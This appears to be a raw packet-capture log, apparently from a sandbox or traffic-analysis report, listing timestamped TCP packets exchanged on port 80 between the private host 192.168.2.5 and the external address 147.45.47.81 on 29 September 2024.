Sep 29, 2024 09:44:14.328921080 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.328984976 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329025030 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.329030991 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329078913 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329123020 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.329183102 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329277039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329319000 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.329324007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329371929 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329416990 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.329524040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329586983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329628944 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.329632044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329679012 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329722881 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.329843044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329905987 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329951048 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.329952955 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.329999924 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330045938 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.330077887 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330141068 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330183983 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.330187082 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330235004 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330280066 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.330348015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330411911 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330461025 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330462933 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.330537081 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330579996 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.330583096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330630064 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330672026 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.330676079 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330724955 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330769062 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.330856085 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330903053 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330944061 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.330950022 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.330997944 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331042051 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.331044912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331106901 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331150055 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.331167936 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331214905 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331254959 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.331259966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331322908 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331367016 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.331368923 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331451893 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331494093 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.331511974 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331558943 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331600904 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.331604004 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331650972 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331691980 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.331698895 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331748962 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331792116 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.331794024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331841946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331882000 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.331887960 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331937075 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.331980944 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.331984043 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332051992 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332091093 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.332099915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332161903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332206011 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.332207918 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332254887 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332298040 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.332304001 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332367897 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332410097 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.332413912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332461119 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332501888 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.332509041 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332571983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332613945 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.332617998 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332664967 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332712889 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.332715034 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332762957 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332804918 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.332808971 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332890034 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.332935095 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.333617926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.333673000 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.333698988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.333723068 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.333800077 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.333815098 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.333838940 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.333843946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.333865881 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.333884001 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.333956003 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.333971977 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.333997965 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.333998919 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334016085 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334038019 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.334042072 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334063053 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334080935 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.334084988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334122896 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.334178925 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334199905 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334237099 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.334296942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334311008 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334341049 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334342957 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.334362030 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334383965 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334402084 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334403038 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.334428072 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334439993 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.334570885 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334610939 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.334630966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334650040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334692001 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.334724903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334739923 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334767103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334784985 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.334923029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334938049 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334960938 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.334964991 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.334985971 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335001945 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.335006952 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335027933 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335043907 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.335045099 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335071087 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335082054 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.335148096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335167885 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335186958 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335186958 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.335222960 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.335300922 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335319996 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335342884 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335355997 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.335364103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335400105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335400105 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.335431099 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335470915 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.335561991 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335577011 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335604906 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335617065 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.335623980 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335644007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335660934 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.335664988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335700989 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335705042 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.335751057 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335767984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335788965 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.335825920 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335844040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335865974 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.335876942 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335899115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.335916042 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.336093903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336112022 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336134911 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.336147070 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336168051 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336184978 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336185932 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.336210012 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336225033 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.336232901 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336252928 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336270094 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.336273909 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336317062 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.336472988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336493015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336517096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336530924 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.336536884 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336558104 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336574078 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.336577892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336599112 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336616039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336623907 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.336642027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336652994 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.336663008 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.336699963 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.337804079 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.337876081 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.337893963 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.337918043 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.337944031 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.337961912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.337982893 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.337986946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338007927 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338025093 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.338092089 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338108063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338136911 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338135004 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.338192940 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.338223934 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338243961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338268042 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338282108 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338282108 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.338320971 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.338363886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338381052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338404894 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338418961 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.338433027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338454962 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338474035 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.338479042 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338500023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338520050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338526964 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.338557005 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.338726997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338742018 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338767052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338778019 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.338792086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338814974 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338830948 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.338859081 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338881969 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338896990 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338900089 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.338926077 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.338953018 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.338987112 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339030981 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.339116096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339131117 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339158058 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339171886 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.339179039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339200020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339210033 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.339221001 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339241982 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339256048 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.339257002 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339271069 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339327097 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.339520931 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339540005 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339561939 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.339565039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339582920 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339601994 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.339607954 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339629889 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339644909 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.339649916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339667082 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339692116 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339704990 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339713097 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.339726925 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.339732885 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339754105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339771032 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.339850903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339890957 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.339910984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339930058 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.339967966 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.340059996 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340079069 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340102911 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340112925 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.340123892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340159893 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.340213060 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340241909 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340261936 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340277910 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.340286016 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340306044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340322971 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.340323925 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340348959 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340362072 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.340368986 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340389967 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340406895 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.340617895 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340636015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340656996 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.340660095 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340682030 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340698004 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.340703964 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340724945 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340744019 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.340744972 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.340763092 CEST	80	49706	147.45.47.81	192.168.2.5
